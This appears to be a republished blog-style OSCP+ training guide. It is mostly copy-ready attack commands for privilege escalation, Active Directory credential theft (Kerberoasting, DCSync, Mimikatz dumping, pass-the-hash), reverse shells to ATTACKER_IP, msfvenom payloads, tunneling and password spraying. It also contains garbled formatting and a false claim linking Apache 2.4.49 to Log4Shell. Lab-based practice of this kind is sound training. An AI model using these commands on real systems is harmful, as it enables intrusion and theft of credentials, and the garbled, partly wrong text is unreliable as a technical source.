Master OSCP+ & CTF: 7 Critical Attack Techniques You Must Know (2026 Training Guide) + Video

Listen to this Post

Featured Image

Introduction:

The OSCP+ certification demands hands‑on proficiency in real‑world penetration testing, moving beyond theory into live exploitation, pivoting, and Active Directory attacks. As red teaming evolves, structured CTF‑style practice—like the training offered by Ignite Technologies—bridges the gap between exam simulations and enterprise‑grade security assessments.

Learning Objectives:

  • Execute a complete penetration testing methodology from reconnaissance to professional report writing.
  • Master Linux and Windows privilege escalation vectors using verified commands and exploits.
  • Perform Active Directory attacks, tunneling, and credential exploitation in realistic lab environments.

You Should Know:

  1. Information Gathering & Enumeration – The Foundation of Every Hack

Start with passive and active reconnaissance to map the attack surface. Use the following Linux commands to enumerate targets effectively.

Step‑by‑Step Guide:

  • Passive recon: whois target.com, dnsrecon -d target.com, `theHarvester -d target.com -b google`
    – Active scanning: `nmap -sV -sC -O -p- 192.168.1.0/24 -oA scan_results`
    – Web enumeration: `gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -t 50`
    – Windows share enumeration: smbclient -L //target_ip -N, then `enum4linux -a target_ip`
    – Linux system enumeration (post‑access): uname -a, cat /etc/os-release, ps aux | grep root, `sudo -l`

    Tutorial: Combine `nmap` scripts for vulnerability discovery: nmap --script vuln,safe,discovery -p 80,443,445 target_ip. Always save outputs to a structured notes file for reporting.

  1. Vulnerability Scanning & Analysis – Automate, Don’t Guess

Leverage scanners to identify low‑hanging fruit, then manually verify to avoid false positives.

Step‑by‑Step Guide:

  • Nessus / OpenVAS: Configure a credentialed scan for internal hosts (Linux: sudo gvm-setup, then gvm-cli --gmp-username admin --gmp-password pass socket --socketpath /var/run/gvmd.sock)
  • Nikto for web: `nikto -h https://target -ssl -Format html -o nikto_report.html`
    – WordPress enumeration: `wpscan –url https://target/wp –api-token TOKEN –enumerate vp,vt,u`
    – Manual analysis: Use curl -I http://target` to check headers; look for missingX-Frame-Options`, outdated server versions.

Tutorial: After scanning, prioritize CVSS scores ≥ 7.0. Cross‑reference with `searchsploit` to find public exploits: `searchsploit Apache 2.4.49` (for Log4Shell or similar).

  1. Linux Privilege Escalation – From Low User to Root

Linux misconfigurations are gold. Focus on SUID binaries, cron jobs, sudo rights, and kernel exploits.

Step‑by‑Step Guide:

  • Check sudo rights: `sudo -l` → if (ALL) NOPASSWD: /usr/bin/find, run `sudo find . -exec /bin/sh \; -quit`
    – SUID binaries: `find / -perm -4000 2>/dev/null` → for /usr/bin/pkexec, use `CVE-2021-4034` (Polkit pwnkit) – download exploit: `wget https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034-poc.c`, compile and run.
    – Cron job abuse: `cat /etc/crontab– if a writable script runs as root, inject reverse shell: `echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/script.sh`
    - Kernel exploit (last resort): `uname -r` → search with `searchsploit Linux Kernel 5.10` → compile (e.g., Dirty Pipe
    CVE-2022-0847`).
  • Capabilities: `getcap -r / 2>/dev/null` – if `cap_setuid+ep` on Python, run `python -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’`

    Windows counterpart for later section: Use `winpeas.exe` and `PowerUp.ps1` for automated checks.

  1. Windows Privilege Escalation – Exploiting Tokens, Services & AlwaysInstallElevated

Windows environments require different tactics – abuse service permissions, unquoted paths, and registry misconfigurations.

Step‑by‑Step Guide:

  • Upload winPEAS: `certutil -urlcache -f http://ATTACKER_IP/winPEASx64.exe winPEAS.exe && winPEAS.exe`
    – Check AlwaysInstallElevated: `reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` – if set, craft malicious MSI: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o evil.msi` then run `msiexec /quiet /qn /i evil.msi`
    – Unquoted service path: `wmic service get name,displayname,pathname,startmode | findstr /i “auto” | findstr /i /v “C:\Windows\\”` – if path like `C:\Program Files\Vuln App\service.exe` without quotes, place payload in `C:\Program.exe`
    – SeImpersonate / Potato attacks: Use `PrintSpoofer.exe` or `JuicyPotatoNG` when `whoami /priv` shows `SeImpersonatePrivilege` enabled.
  • DLL hijacking: Monitor process monitor for missing DLLs, then compile malicious DLL with `msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o hijack.dll`

    Tutorial: Always run `systeminfo` and compare with Windows Exploit Suggester: python wes.py systeminfo.txt --update.

5. Active Directory Attacks – The Crown Jewels

Modern OSCP+ heavily focuses on AD abuse: Kerberoasting, AS‑REP roasting, pass‑the‑hash, and ACL misconfigurations.

Step‑by‑Step Guide:

  • Initial AD enumeration with BloodHound: `sharphound.exe -c All –domain domain.local` (or Linux: bloodhound-python -d domain.local -u user -p pass -ns DC_IP -c all)
  • Kerberoasting: `GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request` → crack with `hashcat -m 13100 hash.txt rockyou.txt`
    – AS‑REP roasting: `GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt` (crack with -m 18200)
  • Pass‑the‑hash (Windows): `sekurlsa::pth /user:admin /domain:domain /ntlm:HASH /run:powershell.exe` (Mimikatz) or Linux: `pth-winexe -U domain/admin%HASH //TARGET_IP cmd`
    – DCSync attack (if high privileges): `mimikatz “lsadump::dcsync /user:krbtgt”` – then forge Golden Ticket with ticketer.py.
  • Lateral movement: `xfreerdp /v:TARGET /u:user /p:pass` or psexec.py domain/user:pass@TARGET_IP.

Tutorial: Set up a small lab with VirtualBox: Domain Controller (Windows Server 2019), two Windows 10 clients, and a Kali attacker. Practice all attacks in an isolated network.

6. Tunneling & Pivoting – Breaking Network Segmentation

After compromising a host, use it as a jump box to reach internal networks.

Step‑by‑Step Guide:

  • SSH dynamic port forwarding (Linux pivot): On compromised Linux, run `ssh -D 1080 -N -f user@ATTACKER_IP` then configure proxychains: `socks4 127.0.0.1 1080` → `proxychains nmap -sT -Pn internal_host`
    – Chisel (cross‑platform): Attacker: `chisel server -p 8000 –reverse` ; Pivot: `chisel client ATTACKER_IP:8000 R:socks` then use `proxychains` again.
  • Windows port forwarding with netsh: `netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=INTERNAL_IP`
    – Ligolo‑ng (advanced tunneling): On attacker: `sudo ip tuntap add user [bash] mode tun ligolo` ; On pivot: `./agent -connect ATTACKER_IP:11601 -ignore-cert` then add route `sudo ip route add INTERNAL_NETWORK dev ligolo`

    Tutorial: For OSCP+, practice with `plink.exe` (PuTTY link) to create reverse SSH tunnels from Windows: plink -ssh -R 1080:localhost:1080 attacker_user@ATTACKER_IP -P 22.

  1. Exploiting Public Exploits & Password Attacks – Efficient Credential Harvesting

Never write exploits from scratch; adapt existing ones from Exploit‑DB or GitHub. Combine with password spraying and cracking.

Step‑by‑Step Guide:

  • Searching exploits: `searchsploit “Windows 10” | grep -i “privilege”` then `searchsploit -m 49999` (copy to current directory).
  • Compiling Windows exploits on Linux: `i686-w64-mingw32-gcc exploit.c -o exploit.exe` or `x86_64-w64-mingw32-gcc -o exploit.exe exploit.c`
    – Password spraying (Linux): `crackmapexec smb TARGET_IP -u users.txt -p ‘Spring2026!’ –continue-on-success`
    – NetNTLMv2 hash capture: `responder -I eth0 -w -v` then capture hashes and crack with `hashcat -m 5600 hash.txt rockyou.txt`
    – Mimikatz for credential dumping: After admin access: `privilege::debug` then `sekurlsa::logonpasswords` or lsadump::sam.

Tutorial: Always verify exploit reliability – read the source code and test in a lab. For password attacks, use `hydra` carefully to avoid lockouts: hydra -L users.txt -P pass.txt ssh://target -t 4 -V.

What Undercode Say:

  • Key Takeaway 1: Structured CTF practice with hands‑on commands (like the enumeration and privilege escalation sequences above) directly translates to OSCP+ success – passive reading is useless without terminal time.
  • Key Takeaway 2: Active Directory and tunneling are now non‑negotiable; labs that isolate these skills (e.g., using BloodHound + Chisel) produce candidates who can compromise enterprise networks, not just standalone boxes.

Analysis: The post from Kavish T. highlights a critical industry gap: many aspirants memorize tool flags but fail to chain attacks under time pressure. Ignite Technologies’ syllabus covers exactly what hiring managers test – AD attacks, pivoting, and report writing. However, the real value lies in practicing with the commands we’ve provided; a course without repetitive lab repetition won’t build muscle memory. The growing trend of “CTF‑as‑exam” (OSCP+, PNPT, CRTO) means that candidates who simulate exam conditions daily will outperform those who only watch videos. Expect more training providers to adopt this CTF‑heavy model, and employers will increasingly demand proof of practical exams over multiple‑choice certs.

Prediction:

By 2027, OSCP+ and similar performance‑based exams will incorporate live cloud environments (AWS/Azure misconfigurations) and AI‑assisted red teaming. Training will shift from static labs to dynamic, adversary‑simulated platforms where AI generates unique attack paths per student. Candidates who master the fundamentals (enumeration, AD, pivoting) will thrive, while those relying on outdated exploit databases will fail. The Ignite Technologies approach – combining exam strategy with real‑world CTF – is a blueprint for the next generation of cyber range certifications.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Kavish0tyagi Oscp – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky